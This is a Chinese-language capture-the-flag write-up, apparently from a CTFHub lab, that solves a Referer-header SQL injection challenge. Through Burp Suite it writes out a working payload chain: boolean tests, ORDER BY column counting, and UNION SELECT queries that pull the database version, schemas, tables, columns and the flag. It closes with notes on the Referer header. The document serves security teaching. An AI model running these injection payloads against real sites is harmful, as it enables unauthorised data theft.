CTFHub | Refer注入

Dear 丶 2024-03-31 11:22 125阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> Refer注入：
> 
> （无）

![e9695d8fc69c46b1aaca60d4cc74220b.png][] 网页显示内容

#### 0x02 解题过程 ####

根据题目显示内容，此题和上一题一致，需要在 Refer 请求头中进行 SQL 注入。那么直接使用 burp suite 抓包工具抓取题目网站的信息，并将抓取到的数据发送给重放器。在 Refer 请求中使用 payload 进行测试，发现此题存在 Refer 注入。那么直接根据注入流程进行注入，最后发现此题 flag 存在于 ncdiyxjtck 数据中。

**Ⅰ**老规矩，直接使用burp suite抓包工具抓取题目网站的信息

![c967b98ee0b6467c9020392bc2ff9319.png][]

**Ⅱ**这次为了方便查看，将抓取到的数据发送给重放器

![750ac4c1fddf427391f6d77cbc03c63b.png][]

**Ⅲ**发现抓到的信息中没有Refer请求，那么可以直接写入Refer请求进行测试

![6344ad2c91a8403f8ee8ef4e2538b914.png][]

Referer: 1 and 1 = 1    #注意Refer请求写入信息名称为Referer

**Ⅳ**继续写入Referer请求中使用进行测试，发现此题存在Refer注入

![5bdac027d9474ff1a53de1788bd6a98e.png][]

Referer: 1 and 1 = 2

**Ⅴ**使用order by 判断字段数量，从order by 1开始

![b288eebf818b4e189f2ee97fa088533f.png][]

Referer: 1 order by 1

**Ⅵ**判断字段2，使用order by 2

![0182ae19be9c45b98566b337baf9781d.png][]

Referer: 1 order by 2

**Ⅶ**判断字段3，使用order by 3，这里无回显，那么字段数量为2列

![7b5c96ee0d3c4aa996ac085f5d6df71e.png][]

Referer: 1 order by 3

**Ⅷ**知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据

![b41a580846ae4bd19fa45191971dfae7.png][]

Referer: 1 union select 1,2

**Ⅸ**判断数据可能不存在数据库中，将1改为0查看数据，其他符号也可以

![31337034bf294b64a7f554f597f6f440.jpeg][]

Referer: 0 union select 1,2

**Ⅹ**修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22

![26624e7c7ad040a5956856a260cd3ac8.png][]

Referer: 0 union select 1,version()

**ⅩⅠ**修改2为database()，查看数据库名，发现数据库版本为sqli

![676a6b083e1a4cdface7967feec061e8.png][]

Referer: 0 union select 1,database()

**ⅩⅡ**查看全部数据库名

![389eab771e0f43e78882751bc910d95f.png][]

Referer: 0 union select 1,group_concat(schema_name)from information_schema.schemata

**ⅩⅢ**在全部数据库名中发现sqli，最后在sqli数据库中发现cirdpxhnev和news两个表名

![56d4b51dd1e04c018b4d03a0002698ef.png][]

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

**ⅩⅣ**先查看cirdpxhnev表中的全部字段名，发现一个数据名为ncdiyxjtck

![738365c1dd7b46f8a550e72839b91a9d.png][]

Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cirdpxhnev'

**ⅩⅤ**查看数据ncdiyxjtck中的内容，发现此题flag

![f06f2d14e2df41dda18f0b6834c32603.png][]

Referer: 0 union select 1,group_concat(ncdiyxjtck) from sqli.cirdpxhnev

#### **0x03 Refer 注入常见的问题** ####

**1.Refer 和 Referer**

> 需要注意的是，Refer 只是注入名称，而 Referer 是 header 的一部分，当浏览器向 web 服务器发送请求的时候，一般会带上 Referer ，告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。

**2.重放 Referer 注入无回显**

> 有小伙伴私信我，为什么我使用 burp suite 工具进行重放的时候，页面没有正常回显。我第一次使用 burp suite 工具的重放器也犯过此类错误，就是写入一个请求时在其数据的空白行中写入数据。需要注意的是，这个空白行也算抓取到的数据。

例如，重放一个演示请求，数据为 error ，写入位置为抓取到的数据空白行中。重放发现页面没有正常回显。

![13bb4bf265b942338cf3ac8f3ad84a99.png][]

那么在写入的数据后面加入一行空白行，重新执行重放，此时的页面可以正常回显。

![5abb0650f90e4621bc2e88d36954e7af.png][]

#### **0x04 参考文献** ####

> \[1\].mdn web docs. Referer\[EB/OL\]. \[2022-11-26\]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer.
> 
> \[2\].百度百科. HTTP\_REFERER\[EB/OL\]. \[2022-11-26\]. https://baike.baidu.com/item/HTTP\_REFERER/5358396.
> 
> \[3\].老司机开代码. Less19 (referer注入)\[EB/OL\]. \[2022-11-26\]. https://blog.csdn.net/weixin\_43901998/article/details/107021685.

#### **0x05 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[e9695d8fc69c46b1aaca60d4cc74220b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/585f0deef35d411685422a50c0b01dff.png
[c967b98ee0b6467c9020392bc2ff9319.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/e7198dcb3df14bae8e2d61300ecc43e8.png
[750ac4c1fddf427391f6d77cbc03c63b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c27c07ad91f94cfdb0cc2405d5d777ce.png
[6344ad2c91a8403f8ee8ef4e2538b914.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/8a0279846fe546df90c916f1e807ced1.png
[5bdac027d9474ff1a53de1788bd6a98e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/932739f0b8f84f89b40606ca98f38fc1.png
[b288eebf818b4e189f2ee97fa088533f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/d1ae9953b86e4f8aadb64a54e6564bee.png
[0182ae19be9c45b98566b337baf9781d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/9196a161c61f4db3953d594176246e91.png
[7b5c96ee0d3c4aa996ac085f5d6df71e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/b19b96ed15ee4c779e6467f6e9a974ab.png
[b41a580846ae4bd19fa45191971dfae7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/fcbc08a8f3b14388a83754e8da0b898f.png
[31337034bf294b64a7f554f597f6f440.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/4b5e64fc4b184021a690f7339cb71a24.jpeg
[26624e7c7ad040a5956856a260cd3ac8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/25ecb0561d4d430f9016c4e3141ec85a.png
[676a6b083e1a4cdface7967feec061e8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/e773d91ec9da4937ac59bff8a30d4de8.png
[389eab771e0f43e78882751bc910d95f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/472156b9cf584a55973bba2436d67033.png
[56d4b51dd1e04c018b4d03a0002698ef.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/202d27abc084427c9db6a99cc3284df3.png
[738365c1dd7b46f8a550e72839b91a9d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/7b38238f72464625988ef9e2a4658ee8.png
[f06f2d14e2df41dda18f0b6834c32603.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/a483e1bec1c347769ca1eb8b8c71568e.png
[13bb4bf265b942338cf3ac8f3ad84a99.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/5afb85662ee5476a89e67a9c57ba0a1e.png
[5abb0650f90e4621bc2e88d36954e7af.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/dfe6b9217e7f442f9e792fd00aa83b1e.png